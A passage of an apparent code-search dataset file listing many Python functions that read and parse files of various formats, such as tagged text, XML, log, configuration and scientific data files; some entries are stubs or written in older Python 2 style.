line.split()\n words, tags = zip(*(pair.split(\"###\") for pair in pairs))\n yield self.text_to_instance([Token(word) for word in words], tags)","def readFromFile(filename):\n raise NotImplementedError","def parse_file(self):\n for num, line in enumerate(self._text):\n if \"CRYSTAL STRUCTURE SOLUTION\" in line:\n line = line.strip().strip('+').strip()\n if 'SHELXTL' in line:\n self.version = 'SHELXT ' + line.split()[-1]\n if line.strip().startswith('R1 Rweak Alpha'):\n for n in range(100):\n if not self._text[num + 1 + n]:\n break\n if self._text[num + 1]:\n self.solutions[self._text[num + 1 + n][58:76].strip()] = self._text[num + 1 + n][37:51].strip()","def read():\n try:\n #Open and parse input files.\n nodeFile = open(sys.argv[1], 'r')\n edgeFile = open(sys.argv[2], 'r')\n\t\n parse_nodes(nodeFile)\n parse_edges(edgeFile)\n nodeFile.close()\n\tedgeFile.close()\n\treturn \n except:\n print 'problem parsing input'\n #Put here some more information - usage...","def parse(self):\n print_DBG(\"Parsing master file: \"+self.tokenizer.get_file_information()[0])\n for token_line in self.tokenizer.next_tokenized_line():\n if not token_line[0].isspace():\n if token_line[0] == pu.INCLUDE_FILE_SYM:\n self.tokenizer.open_file(token_line[1])\n print_DBG(\"Parsing file: \"+self.tokenizer.get_file_information()[0])\n self.stats[\"#files\"] += 1\n else:\n self._parse_declaration_initiator(token_line)\n self._expecting_rule = True\n self.stats[\"#declarations\"] += 1\n self._expected_indentation = None\n else:\n self._parse_rule(token_line)\n self._expecting_rule = False # Not expecting but still allowed\n self.stats[\"#rules\"] += 1\n self.tokenizer.close_files()\n print_DBG(\"Parsing finished!\")","def read(self, filename): # real signature unknown; restored from __doc__\n pass","def parse_file(self, fpath):\n sdir = os.path.abspath(os.path.join(os.path.dirname(salt.__file__), os.pardir))\n with open(os.path.join(sdir, fpath), \"rb\") as f:\n return f.readlines()","def parse_file(self):\n # the header was already read in the init, start at the first sample line\n\n for line in self._stream_handle:\n\n # create the dictionary of key/value pairs composed of the labels and the values from the\n # record being parsed\n # ex: data_dict = {'sci_bsipar_temp':10.67, n1, n2, nn}\n data_dict = self._read_data(line)\n\n if GliderParser._has_science_data(data_dict, self._particle_class):\n # create the timestamp\n timestamp = ntplib.system_to_ntp_time(float(data_dict[GliderParticleKey.M_PRESENT_TIME]))\n # create the particle\n self._record_buffer.append(self._extract_sample(\n self._particle_class, None, data_dict, internal_timestamp=timestamp))","def parse_from_file (path):\n with open(path) as f:\n return NFFG.parse(f.read())","def _read(self, file_name):\n f = open(file_name)\n lines = f.readlines()\n begin = 0\n end = 0\n while end < len(lines):\n op = ''\n for l in lines[begin:]:\n end += 1\n op = l.split()[0]\n if op in operations:\n self.operations.append(op)\n break\n if op == '=push':\n nfa = Automaton(lines[begin:end - 1])\n self.aut_to_push.append(nfa)\n begin = end\n f.close()","def __loadFromFile(self):\n try:\n f=open(self.__fileR, \"r\")\n line =f.readline().strip()\n rez=[]\n while line!=\"\":\n attrs=line.split(\",\")\n rt=Rent(attrs[0], attrs[1], attrs[2], attrs[3])\n rez.append(rt)\n line=f.readline().strip()\n f.close()\n return rez\n #the file cannot be reached\n except IOError:\n return None","def input_file_parser(cls):\n \n # Loop through the file and store lines in an appropriate list that is passed to other class functions\n with open(cls.infile_name,'r') as infile:\n for line in infile: # Loop through the whole file\n if '$molecule' in line: # Search for a section header\n for line in infile: # Enter second loop over the lines in the section\n if '$end' in line: # If you find $end, stop loop as the section is finished\n break\n else: # Otherwise add the line to a list\n cls.molecule_lines.append(line.strip())\n if '$connection' in line: # Continue for other sections...\n for line in infile:\n if '$end' in line:\n break\n else:\n cls.connector_lines.append(line.strip())\n if '$options' in line: # Continue for other sections...\n for line in infile:\n if '$end' in line:\n break\n else:\n cls.options_lines.append(line.strip())\n\n return None","def parse(self):\n\n\t\t# Open and parse the file\n\t\twith open(self.name, 'r') as fdi:\n\t\t\tfor line in fdi:\n\t\t\t\twords = [word for word in line.split(' ') if word != ' ' and word != ':']\n\t\t\t\t\n\t\t\t\t# Store the data in the hash\n\t\t\t\tself.data_hash[int(words[0], 16)] = int(words[1])\n\n\t\t# Sort the dictionary by addresses\n\t\tself.data_hash = od(sorted(self.data_hash.items(), key = lambda t : t[0]))\n\n\t\tprint 'Total Bytes :', float(sum(self.data_hash.values())) / 1024 / 1024\n\n\t\treturn","def read_file(self):\n # This is quite ugly but works for now.\n self.header = read_csv(self.file_name, delim_whitespace=True,\n header=TrackData.header_line,\n nrows=1).to_dict(orient='index')[0]\n self.data = read_csv(self.file_name, delim_whitespace=True, \n header=TrackData.data_line)","def _read_file(self, current_path):\n # type: (str)->None\n\n if current_path in self._parsed_files:\n return\n self._parsed_files.add(current_path)\n\n with open(current_path, \"r\") as interfaces:\n # When the first non-comment line is parsed, header\n # comments have been read in.\n header_parsed = False\n # Loop through the interfaces file.\n for line in interfaces:\n # 1. Identify the clauses by analyzing the first\n # word of each line.\n # 2. Go to the next line if the current line is a comment.\n # line = line.strip().replace(\"\\n\", \"\")\n if not line:\n pass\n elif line.strip().startswith(\"#\") is True:\n if not header_parsed:\n self._header_comments += line\n else:\n # Header comments can no longer\n # be parsed in when the first interfaces\n # line is parsed in.\n header_parsed = True\n self._parse_iface(line, current_path)\n # Ignore blank lines.\n if not line.isspace():\n self._parse_details(line)\n self._read_auto(line)\n self._read_hotplug(line)\n\n # Is there some file to source ?\n source_path = self._read_sourced_path(line)\n if source_path:\n self._read_files(source_path)\n\n # TODO: lots of directives are completly ignored\n # and would be deleted","def parser_file(self, raw_file):\n try:\n with io.open(raw_file, 'r') as fd:\n #u_print(\" Processor.parser_file() - Streaming file {}\".format(raw_file))\n return self.parse_stream(fd)\n\n except IOError as e:\n u_print(\" ERROR I/O ({0}): {1}\".format(e.errno, e.strerror))\n return False\n\n except Exception as e:\n u_print(\" Unexpected error: \".format(e))\n raise","def __parse(self):\n lines = self.file.readlines()\n for i in range(0, len(lines)):\n line = lines[i]\n tokens = line.split()\n if tokens[0] == \"#start\":\n trial_name = tokens[1]\n trial = Trial(trial_name)\n self.trials[trial_name] = trial\n elif tokens[0] == \"#end\":\n continue\n else:\n date_str = tokens[0] + \" \" + tokens[1]\n date = datetime.strptime(date_str, \"%m/%d/%y %H:%M:%S\")\n sound_file = line[18:-1].strip()\n event = Event(date, sound_file, 0)\n trial.addevent(event)","def file_parse():\n\n\tfilename = input(\"Enter the file path for your graph: \")\n\ttarget = open(filename, 'r')\n\n\ttarget_lines = [] \t# List of lines from target file\n\t\n\t# Grab the graph count and node/edge count for the first graph\n\ti = 0\n\tfor line in target:\n\t\tif i == 0:\n\t\t\tgraph_count = int(line)\n\t\telif i == 1:\n\t\t\tnode_count = int(line)\n\t\telif i == 2:\n\t\t\tedge_count = int(line)\n\t\telse:\t\n\t\t\ttarget_lines.append(line.strip('\\n'))\n\t\ti += 1\n\n\treturn graph_create(target_lines, graph_count, node_count, edge_count)","def __read(self, filename):\n f = open(filename)\n\n self.startDate = self.__parseDate(f.readline())\n (nRows, nCols) = [int(s) for s in f.readline().split() ]\n\n dataArray = self.__readData(f, nRows, nCols)\n self.__storeDataDict(dataArray)\n self.__appendMetaData(filename)\n self._appendDerivedQuantities()","def parse_file(self, filename):\n \n # create DOM tree\n try:\n file_object = self.auto_open(filename)\n except IOError as e:\n self.my_print('Error opening file ' + filename + str(e), msg_types.ERROR)\n raise\n \n try:\n self.begin('building DOM tree from file ' + filename)\n dom = ET.XML(file_object.read())\n self.end()\n file_object.close()\n\n except SyntaxError as e:\n self.my_print(\"XML parsing error: \" + str(e), msg_types.ERROR)\n raise\n \n # create lexical resource\n try:\n self.begin('Extracting data from DOM of file ' + filename)\n lr = lexical_resource.LexicalResource(dom)\n self.end()\n return lr\n except FatalError as e:\n self.my_print(str(e), msg_types.ERROR)\n self.my_print('Processing stopped. Please fix the previous error(s) and try it again', msg_types.ERROR)\n raise","def __parse(self):\n # raw/objects: detect name, type, use major tag for type as parent node\n # raw/graphics: as object raw, but add TILE_PAGE\n # init: usually flat file, except\n # embark_profiles.txt: [PROFILE] is parent\n # interface.txt: [BIND] is parent (legacy will be flat)\n # world_gen.txt: [WORLD_GEN] is parent\n # Non-raw files (unsupported): init/arena.txt, subdirs of raw/objects\n parse_raw(self, self.read(self.filename))","def __parse(self):\n lines = self.file.readlines()\n name_idx = 2\n name_idx_found = False\n pathre = re.compile(r\"^[A-Z]:[\\\\/]\\w+\")\n for i in range(0, len(lines)):\n line = lines[i]\n if line.strip() != \"\": # check if line isn't empty\n if pathre.match(line):\n self.path = line.strip()\n continue\n tokens = line.split()\n time_str = tokens[0] + \" \" + tokens[1]\n try:\n time = datetime.strptime(time_str, \"%m/%d/%y %H:%M:%S\")\n except ValueError:\n raise LogParseError('Invalid log format. Date must be first \\\n token for each log event.') \n if not name_idx_found:\n name_idx = tokens.index('Monitoring')\n name_idx_found = True\n name = \"\"\n if tokens[name_idx].strip() == 'Monitoring':\n name = tokens[name_idx].lower() + \" \" + tokens[name_idx + 1].lower()\n duration = 0.0\n else:\n name = tokens[name_idx].lower()\n duration = tokens[name_idx + 1]\n self.events[name] = Event(time, name, duration)\n self.start = self.events['monitoring started']\n self.end = self.events['monitoring stopped']","def parse(self):\n count = [] #count for trainset_size\n with open(self.file) as f:\n for line in f:\n data = line.split(\" \")[0]\n filename = data[:-1]\n id = data[-1:]\n if (filename not in count):\n count.append(filename)\n\n acid = \"\"\n structure = \"\"\n with open(self.directory+\"/\"+filename+\".dssp\") as dssp:\n for i in range(28): #skip lines we don't need\n next(dssp)\n for line in dssp:\n if (line[9] != \" \" and line[10] == \" \" and line[11] == id and line[13] not in (\"*\",\"!\",\"B\",\"Z\",\"X\")):\n #amino acid sequence\n if (line[13].islower()):\n acid += \"C\"\n else:\n acid += line[13]\n\n #sequence of the structure\n if (line[16] in (\"H\",\"G\",\"I\")):\n structure += \"H\"\n elif (line[16] in (\"E\",\"B\")):\n structure += \"E\"\n else:\n structure += \"C\"\n\n if (len(count) > self.trainset_size):\n self.testset.append((acid,structure))\n else:\n self.trainset.append((acid,structure))","def __read_file(self, filename):\n with open(filename) as f:\n content = f.readlines()\n \n return content","def parse_source_file(self, filepath):\n raise NotImplementedError('Not Implemented')","def parse_file(file_name, out):\n try:\n with open(file_name) as f:\n parse_string(f.read(), out)\n except Exception as e:\n logging.error(\"Error when opening and parsing file %s: %s\" % (file_name, e))\n print(\"Error occurred when parsing file. See logs for more details.\",file=sys.stderr)","def parse_file(self):\n # read the first line in the file\n line = self._stream_handle.readline()\n\n while line:\n # check for a data line or a dcl logger line we specifically ignore\n data_match = DATA_LINE_MATCHER.match(line)\n ignore_match = IGNORE_LINE_MATCHER.match(line)\n\n if data_match:\n # found a data line, extract this particle\n # DCL controller timestamp is the port_timestamp\n dcl_controller_timestamp = data_match.groups()[DCL_TIMESTAMP_GROUP]\n port_timestamp = dcl_time_to_ntp(dcl_controller_timestamp)\n\n particle = self._extract_sample(self.particle_class,\n None,\n data_match,\n port_timestamp=port_timestamp,\n preferred_ts=DataParticleKey.PORT_TIMESTAMP)\n\n self._record_buffer.append(particle)\n\n elif not ignore_match:\n # we found a line with an unknown format, call an exception\n error_message = 'Found line with unknown format %s' % line\n log.warn(error_message)\n self._exception_callback(SampleException(error_message))\n\n # read the next line\n line = self._stream_handle.readline()","def __parse(self):\n\t\tparser=xml.sax.make_parser()\n\t\tparser.setContentHandler(OSMXMLFileParser(self))\n\t\tparser.parse(self.filename)\n\t\n\t\t# convert them back to lists\n\t\tself.nodes = self.nodes.values()\n\t\tself.ways = self.ways.values()\n\t\tself.relations = self.relations.values()","def _read(self, file_path: str) -> Iterator[Instance]:\n with open(cached_path(file_path), \"r\", encoding=\"utf-8\") as data_file:\n for lines in read_conll_file(data_file):\n fields = [line.rstrip().split(self._delimiter) for line in lines]\n # unzipping trick returns tuples, but our Fields need lists\n fields = [list(field) for field in zip(*fields)]\n tokens, tags = fields\n yield self.text_to_instance(tokens, tags)","def parse(self):\n\t\tself.maincfg_values = self._load_static_file(self.cfg_file)\n\t\t\n\t\tself.cfg_files = self.get_cfg_files()\n\t\t\n\t\tself.resource_values = self.get_resources()\n\t\t\n\t\tself.timestamps = self.get_timestamps()\n\t\t\n\t\t## This loads everything into\n\t\tfor cfg_file in self.cfg_files:\n\t\t\tself._load_file(cfg_file)\n\n\t\tself._post_parse()","def parse_file(self, file_path):\n\t\troot = ET.parse(file_path).getroot()\n\t\t## parse predictors\n\t\tpredictors = root.find('DataSpecification').find('Predictors')\n\t\tfor predictor in predictors.findall('predictor'):\n\t\t\tself.predictors.append(predictor.find('name').text)\n\t\t\tself.predictors_types.append(predictor.find('VariableType').text)\n\t\t## parse method\n\t\tmethod = root.find('Method')\n\t\tvariables = {}\n\t\tfor variable in method[0]:\n\t\t\ttag = variable.tag\n\t\t\tvalues = []\n\t\t\tfor v in variable:\n\t\t\t\tvalues.append(float(v.text))\n\t\t\tvariables[tag] = values\n\t\tself.variables = variables\n\t\tself.method_name = method[0].tag\n\t\t## parse pre-processing\n\t\tpreprocessing = root.find('Preprocessing')\n\t\tpreprocessing_methods = preprocessing.findall('PreprocessMethod')\n\t\tfor preprocessing_method in preprocessing_methods:\n\t\t\tself.preprocessing_methods.append(preprocessing_method.text)\n\t\tevaluation = root.find('Evaluation')\n\t\tresampling = evaluation.find('Resampling')\n\t\tcv = resampling.find('CrossValidation')\n\t\tself.k = cv[0].text\n\t\tself.metric = evaluation.find('Metric').text\n\t\tself.data_split = evaluation.find(\"DataSplit\").find('partitionRate').text\n\t\t## parse resampling\n\t\tself.plotting_file_name = root.find('Plotting').find('Plot').find('filename').text","def read_parse_file(params):\n\tparam_names = []\n\tparam_options = []\n\tif not os.path.isfile(params.parse_file):\n\t\tprint(\"parse file does not exist! ({})\".format(params.parse_file))\n\t\tsys.exit(NO_PARSE)\n\twith open(params.parse_file, 'r') as pf:\n\t\t# first line should be iteration regex\n\t\tsetattr(params, 'iteration_regex', re.compile(pf.readline().strip()))\n\t\tfor line in pf:\n\t\t\tparam_desc = line.split(';')\n\t\t\tparam_names.append(param_desc[0])\n\t\t\tparam_options.append(param_desc[1])\n\n\treturn param_names,param_options","def parse_file(self, f_path=\"NULL\"):\n if f_path == \"NULL\":\n raise Exception(\"ERROR: please specify tandam MS/MS file path\")\n return self._parse_ms_file(f_path)","def process_file(filename):\n print \"Reading and Parsing File: {}\".format(filename)\n parsed_entries = file_parser(filename)\n print \"Starting to Process Entries\"\n chunked_entires = chunk_entries(parsed_entries)\n return [process_entries(entry) for entry in chunked_entires]","def __read_data__(self):\n with open(self.file, 'r') as data:\n sentence = []\n tags = []\n for line in data:\n terms = line.rstrip().split(WHITESPACE)\n for term in terms:\n word_tag = tuple(term.split(TAGCHAR))\n word = word_tag[0]\n tag = word_tag[1]\n self.word_tag_dict[word_tag] += 1\n self.tag_dict[tag] += 1\n self.__add_to_word_dict__(word, tag)\n if self.isNumberWord(word):\n self.numbers += 1\n if word[0].isupper() and len(sentence) > 0:\n self.cap_no_start += 1\n sentence.append(word)\n tags.append(tag)\n if tag == ENDOFSENTENCE:\n self.sentences.append(tuple(sentence))\n self.tags.append(tuple(tags))\n sentence = []\n tags = []","def read(self, filePath):\n \n result = {\n 'coordinates': {\n 'count': 0,\n 'nodes': []\n },\n 'element_groups': { \n 'number_of_elements': 0,\n 'count': 0,\n 'groups': []\n },\n 'bars': [],\n 'materials': {\n 'count': 0,\n 'materials': []\n },\n 'geometric_properties': {\n 'count': 0\n },\n 'bcnodes': {\n 'count': 0\n },\n 'loads': {\n 'count': 0\n }\n }\n # print(result['coordinates']['nodes'])\n \n with open(filePath,'r') as f:\n lines = f.readlines()\n elementCounter = 0\n groupCounter = 0\n geometricCounter = 0\n\n for line in lines:\n line = line.strip()\n el = line.split(' ')\n \n if len(line) == 0:\n continue\n\n if len(line) != 0 and line[0] == \"*\":\n section = line[1:].lower()\n continue\n \n if section == 'coordinates':\n if len(el) == 1 :\n result[section]['count'] = el[0]\n else:\n result[section]['nodes'].append(Node(int(el[0]), float(el[1]), float(el[2])))\n \n elif section == 'element_groups':\n if len(line) == 1:\n result[section]['count'] = int(el[0])\n else: \n result[section]['groups'].append(Group(el[0], el[1], el[2]))\n result[section]['number_of_elements'] += int(el[1])\n\n elif section == 'incidences':\n groups = result['element_groups']['groups']\n nodes = result['coordinates']['nodes']\n print(el)\n\n currentGroup = groups[groupCounter]\n if (currentGroup.amount == 0):\n groupCounter += 1\n currentGroup = groups[groupCounter]\n \n print(\"Group n: {} count: {}\".format(currentGroup.n, currentGroup.amount))\n \n bar = Bar(el[0], nodes[int(el[1])-1], nodes[int(el[2])-1], groups[groupCounter])\n print(\n \"\"\"\n Bar {} created \n Start node: {} End Node: {} Group: {}\n \"\"\".format(bar.id, bar.startNode.n, bar.endNode.n, bar.group))\n result['bars'].append(bar)\n currentGroup.amount -= 1\n \n elif section == 'materials':\n if len(el) == 1:\n result[section]['count'] = el[0]\n groupCounter = 0\n else:\n material = Material(el[0], el[1], el[2])\n result[section]['materials'].append(material)\n result['element_groups']['groups'][groupCounter].setMaterial(material)\n groupCounter += 1\n\n elif section == 'geometric_properties':\n if geometricCounter == 0:\n result[section]['count'] = el[0]\n else:\n result['element_groups']['groups'][geometricCounter - 1].setSectionArea(\n el[0]\n )\n geometricCounter += 1\n\n elif section == 'bcnodes':\n if len(el) == 1:\n result[section]['count'] = el[0]\n else:\n nodeIndex = next((e for e, item in enumerate(\n result['coordinates']['nodes']) if item.n == int(el[0])), None\n )\n result['coordinates']['nodes'][nodeIndex].setRestriction(int(el[1]))\n\n elif section == 'loads':\n if len(el) == 1:\n result[section]['count'] = el[0]\n else:\n load = Load(el[1], el[2])\n nodeIndex = next((e for e, item in enumerate(\n result['coordinates']['nodes']) if item.n == int(el[0])), None\n )\n result['coordinates']['nodes'][nodeIndex].addLoad(load)\n\n for bar in result['bars']:\n bar.createLocalArray()\n\n print('---------- Parsing complete! ----------')\n pprint(result)\n print('---------------------------------------')\n\n return result","def read_content_load(self, filename):\n str_file_woc = self.import_file(filename)\n self.parse_load(str_file_woc)\n self.disp_load_info()","def read( self, song_file_name ):\n song_file = open( song_file_name )\n content = song_file.read()\n return self.split( content )","def _read(self, in_file):\n #\n # I know this function is long, but the FRD block is long as well...\n # Splitting this into multiple functions would not help in my opinion.\n # Therefore -> shut up pylint\n # pylint: disable=too-many-branches\n # pylint: disable=too-many-statements\n #\n self.setname = in_file.read(6).decode().strip()\n self.value = float(in_file.read(12))\n self.numnod = int(in_file.read(12))\n self.text = in_file.read(20).decode().strip()\n self.ictype = int(in_file.read(2))\n self.numstep = int(in_file.read(5))\n self.analys = in_file.read(10).decode().strip()\n self.format = int(in_file.read(2))\n in_file.read(1) # eol\n\n in_file.read(1) # pad byte\n in_file.read(2) # key = -4\n in_file.read(2) # pad bytes\n self.name = in_file.read(8).decode().strip()\n self.ncomps = int(in_file.read(5))\n self.irtype = int(in_file.read(5))\n if self.irtype != 1:\n raise NotImplementedError()\n in_file.read(1) # eol\n\n for i in range(self.ncomps):\n entity = FRDEntity()\n self.entities.append(entity)\n\n in_file.read(1) # pad byte\n entity.key = int(in_file.read(2))\n in_file.read(2) # pad bytes\n entity.name = in_file.read(8).decode().strip()\n entity.menu = int(in_file.read(5))\n entity.ictype = int(in_file.read(5))\n entity.icind1 = int(in_file.read(5))\n if entity.ictype == 4:\n entity.icind2 = int(in_file.read(5))\n elif entity.ictype == 2 and i == 3:\n entity.icind2 = int(in_file.read(5))\n entity.iexist = int(in_file.read(5))\n entity.icname = in_file.read(3).decode().strip()\n self.ncomps -= 1\n else:\n entity.iexist = int(in_file.read(5))\n in_file.read(1) # eol\n\n for i in range(self.numnod):\n result = FRDNodeResult()\n self.results.append(result)\n if self.format < 2:\n num_lines = int(self.ncomps/(6 + 1)) + 1\n result.data = []\n for j in range(num_lines):\n in_file.read(3) # pad byte and key = -1 || -2\n if result.node is None:\n result.node = int(in_file.read(5*(self.format+1)))\n else:\n in_file.read(5*(self.format+1))\n k_start = j*6\n k_end = min(self.ncomps - k_start, (j+1)*6)\n for _ in range(0, k_end):\n result.data.append(float(in_file.read(12)))\n in_file.read(1) # eol\n else:\n result.node = struct.unpack('i', in_file.read(4))[0]\n result.data = struct.unpack(\n 'f'*self.ncomps, in_file.read(self.ncomps*4))\n\n if self.format < 2:\n in_file.readline() # last record for ascii only","def parse_records(self):\n for record in sp.parse(gzip.open(\n \"./human_uniprot_04_07_20.gz\", 'rt')):\n # print(record.taxonomy_id)\n # if record.organism != \"Homo sapiens\":\n # continue\n # print(record.features[0])\n # for comment in record.comments:\n # if comment.startswith(\"SUBCELLULAR LOCATION\"):\n # print(comment)\n self.extract_features_to_dict(record)\n self.extract_localization(record)","def _from_file(self, path):\r\n\r\n file = pathlib.Path(path)\r\n log.info(\"Extracting data from file: {}\".format(file))\r\n\r\n with open(file, 'r') as f:\r\n lines = f.readlines()\r\n\r\n self._extract_raw_data(lines)\r\n\r\n return","def _parse(self):\n with open(self.input) as f:\n for line in f:\n if not line.lstrip().startswith(\"#\"): # comment\n stripped_line=line.split(\"#\")[0].strip()\n \n # Initialise an empty option dictionary with some good defaults\n if \"[\" in stripped_line:\n molname=stripped_line.split()[1]\n self.options[molname]=self.empty_option_dict.copy() # dict1=dict2 does not copy!\n self.options[molname][\"MolName\"]=molname\n if \":\" in stripped_line: \n # now process line by line\n if \"{\" not in stripped_line:\n key,value=[i.strip() for i in stripped_line.split(\":\")]\n\n if key not in self.options[molname].keys():\n raise BaseException(\"Option \\\"{}\\\" not known, please check your input file\".format(key))\n self.options[molname][key]=value \n else:\n # This is to define special lines that are given by a dictionary\n key,value=stripped_line.split(\":\",1) # split on first occurence\n if key==\"Addon\": # additional atoms to be added per molecule\n addondict=self.empty_addon_dict.copy()\n addondict_string = value.split(\"}\",-1)[0].split(\"{\",1)[1]\n for pair in addondict_string.split(\",\"):\n addonkey,addonvalue=[i.strip() for i in pair.split(\":\")]\n if addonkey not in addondict.keys():\n raise BaseException(\"Option \\\"{}\\\" in Addon section of molecule {} not known, please check your input file\".format(addonkey,molname))\n addondict[addonkey]=addonvalue\n value=addondict\n # Since addon keyword can be used many times, this is a list\n self.options[molname][key].append(value) \n self._check()","def _read_eeg(eeg_file):\r\n pass","def read(self, filename):\n f = open(filename, 'r')\n m = f.readline()\n n = f.readline()\n lst = []\n for line in f.readlines():\n lst.append(int(line))\n f.closed\n self.__init__(int(m), int(n), lst)","def parse_result_file(self, filepath: str):\n\n raise NotImplementedError","def parse_file(filename):\n filepath = root + filename\n try:\n if filename.endswith('.txt'):\n with open(filepath) as file:\n return file.read().splitlines()\n elif filename.endswith('.csv'):\n reader = csv.reader(open(filepath))\n result = {}\n for row in reader:\n key = row[0]\n result[key] = row[1]\n return result\n except FileNotFoundError:\n with open(filepath,\"w+\") as file:\n append_string_to_textfile(filename, \"Placeholder\")\n print(\"here\")\n return (parse_file(filename))","def _parse(self):\n tree = etree.parse(self.filename)\n root_node = tree.getroot()\n\n text_node = root_node.find(\"TEXT\")\n\n # Get text\n self.text = self._extract_text(text_node)\n\n # Get and create Event objects\n self.events = self._get_and_create_event_objects(text_node, root_node)\n\n # Get and create Timex objects\n self.timex = self._get_and_create_timex_objects(text_node, root_node)\n\n # Create Relation objects and link them\n self.relations = self._get_and_create_relation_objects(root_node)\n\n # Build text structure. Must be called last.\n self.text_structure = self._get_and_build_text_structure()","def read_file(path_to_file):\n 8","def read(read_file) -> list:\n result = []\n try:\n with open(read_file) as file:\n for lines in file:\n line = decode(lines.strip(\"\"))\n result.append(extract_information(line))\n global header\n header = result[0:2]\n result = result[3:]\n for word in result:\n if \"None\" in word[0:3]:\n raise InvalidPrincessException(\"Invalid princess!\")\n continue\n return result\n except FileNotFoundError:\n raise Exception(\"File not found!\")"],"string":"[\n \"def parse_file(self, file):\\n return self.parse(file.read())\",\n \"def parse(self, filename):\\n infile = file(filename)\\n for line in infile:\\n self.parseLine(line)\",\n \"def parse(self, infile):\\r\\n raise NotImplementedError()\",\n \"def _parse(self, infile):\\n raise NotImplementedError()\",\n \"def read_from_file(self, filename: str) -> None:\",\n \"def read_file(self):\\n try:\\n with open(self.file_name, 'r') as ach_file:\\n file_contents = ach_file.read().replace('\\\\n', '').replace('\\\\r', '')\\n\\n self._parse_ach_file(file_contents)\\n except FileNotFoundError as err:\\n print(\\\"File does not exist -> \\\" + str(err))\",\n \"def read(self, f):\\n return self.parse(f.read())\",\n \"def _parse_file(cls, filepath):\\n hdus = sunpy.io.read_file(filepath)\\n return cls._parse_hdus(hdus)\",\n \"def read(self, filename):\\n pass\",\n \"def read(self, filename):\\n pass\",\n \"def parse(self, f):\\n \\n for line in f:\\n self.parse_line(line)\",\n \"def read(self, filename):\\n with RavenFileReader(filename) as f:\\n line = f.nexttag()\\n while line:\\n # Begin data type checks\\n if self.cleantag(line) == 'Gauge':\\n self.read_metgauge(line, f)\\n elif self.cleantag(line) == 'ObservationData':\\n self.read_obsgauge(line, f)\\n # Next line\\n line = f.nexttag()\",\n \"def read(self, filename):\\n with RavenFileReader(filename) as f:\\n line = f.nexttag()\\n while line:\\n # Begin data type checks\\n if self.cleantag(line) == 'SubBasins':\\n self.read_subbasins(f)\\n elif self.cleantag(line) == 'HRUs':\\n self.read_HRUs(f)\\n # Next line\\n line = f.nexttag()\",\n \"def parse_from_path(self, infile_path):\\r\\n with open(infile_path, 'r') as infile:\\r\\n return self.parse(infile)\",\n \"def main():\\n parse_file(sys.argv[1])\",\n \"def parseFile(self, filename):\\n self.__filename = filename\\n\\n if os.path.isfile(filename) == False:\\n self.LogError(\\\"Unable to open input file \\\" + str(filename))\\n raise IOError\\n\\n self.__file = open(filename, 'r')\\n\\n while True:\\n string = self.__file.readline()\\n if string == \\\"\\\":\\n break\\n\\n if string.upper().find(\\\"[SYSTEM]\\\") != -1:\\n #print string.upper()\\n self.__parseSystem()\\n\\n if string.upper().find(\\\"[GRASS]\\\") != -1:\\n #print string.upper()\\n self.__parseGrass()\\n\\n if string.upper().find(\\\"[COMPLEXDATA]\\\") != -1:\\n #print string.upper()\\n self.complexDataList.append(ComplexData(self.__file))\\n\\n if string.upper().find(\\\"[COMPLEXOUTPUT]\\\") != -1:\\n #print string.upper()\\n self.complexOutputList.append(ComplexOutput(self.__file))\\n\\n if string.upper().find(\\\"[LITERALDATA]\\\") != -1:\\n #print string.upper()\\n LD = LiteralData(self.__file)\\n if LD.identifier == 'multi_output':\\n self.LogWarning(\\\"multi_output: \\\" + LD.value.upper())\\n if LD.value.upper() == 'TRUE':\\n self.multiOutput = True\\n else:\\n self.literalDataList.append(LD)\",\n \"def parse_file(self, file_name: str):\\n if not os.path.exists(file_name):\\n log.error('File {} does not exist'.format(file_name))\\n return None\\n try:\\n with open(file_name) as file:\\n file_content = file.readlines()\\n except Exception as ex:\\n log.error('Failed to read file {}: {}'.format(file_name, str(ex)))\\n return None\\n return self.parse_from_string(''.join(file_content))\",\n \"def parse(self):\\r\\n # open the file\\r\\n # try to find the first line with Time =\\r\\n # send the file to a recursive residualParser\\r\\n try:\\r\\n with open(self.filepath, 'rb') as f:\\r\\n for line in f:\\r\\n if line.startswith('Time ='):\\r\\n self.timestep = self.__getTime(line)\\r\\n self.__residuals[self.timestep] = {}\\r\\n self.__parseResiduals(f)\\r\\n except Exception as e:\\r\\n raise 'Failed to parse {}:\\\\n\\\\t{}'.format(self.filepath, e)\",\n \"def parseFile(self, filename):\\n\\n f = open(filename, \\\"r\\\")\\n s = f.read()\\n f.close()\\n\\n logging.log(10, 'parsing filename %s: %d lines' % (filename, len(s)))\\n\\n self.parseString(s)\",\n \"def parse(self, filename):\\n try:\\n if 't' in self.FILE_OPEN_MODE:\\n kw = {'encoding': self.FILE_ENCODING, 'errors': 'ignore'}\\n else:\\n kw = {}\\n with open(filename, self.FILE_OPEN_MODE, **kw) as infile:\\n self._parse(infile)\\n except IOError:\\n raise FileFormatError()\",\n \"def parse_file(self):\\n with open(self.file_name, 'r', errors='ignore') as log_file:\\n for line in log_file:\\n self.process_line(line)\",\n \"def parse_data(fp):\\n pass\",\n \"def parse_file():\\n\\tfile_lines = []\\n\\n\\t## For each line in the file, if it's not empty, store it\\n\\tfor line in fileinput.input():\\n\\t\\tif len(line) > 1:\\n\\t\\t\\tfile_lines.append(line.strip())\\n\\t\\n\\trun_algorithms(file_lines)\",\n \"def parse_file(self, source):\\n # If this is a file-like object, we should be able to read it.\\n try:\\n raw_data = source.read()\\n except AttributeError:\\n # This raises FileNotFoundError if the file doesn't exist.\\n with open(source) as source_obj:\\n raw_data = source_obj.read()\\n\\n # Parse the data in string format.\\n return self.parse_string(raw_data)\",\n \"def read (self, path):\\n\\n\\t\\tself.data = []\\n\\t\\t# print \\\"*** path: %s***\\\" % path\\n\\t\\tdir, filename = os.path.split (path)\\n\\t\\troot, ext = os.path.splitext (filename)\\n\\t\\t# encoding = 'ISO-8859-1' # utf-8\\n\\t\\ts = codecs.open(path,'r', self.encoding).read()\\n\\t\\t## s = unicode(f.read(),'utf-8')\\n\\t\\ts = self.preprocess (s)\\n\\t\\tlines = split (s, self.linesep)\\n\\t\\tschema = self.splitline(lines[0])\\n\\n\\t\\t## print \\\"** %s **\\\" % os.path.splitext(filename)[0]\\n\\t\\tif self.verbose:\\n\\t\\t\\tprint \\\"read %d lines from %s\\\" % (len(lines), path)\\n\\n\\t\\tfor i in range(1,len(lines)):\\n\\t\\t\\tif not lines[i].strip(): \\n\\t\\t\\t\\t# print 'skipping line (%d)' % i\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\tfields = self.splitline(lines[i])\\n\\t\\t\\titem = self.entry_class (fields, schema)\\n\\t\\t\\tif self.accept (item):\\n\\t\\t\\t\\tself.add 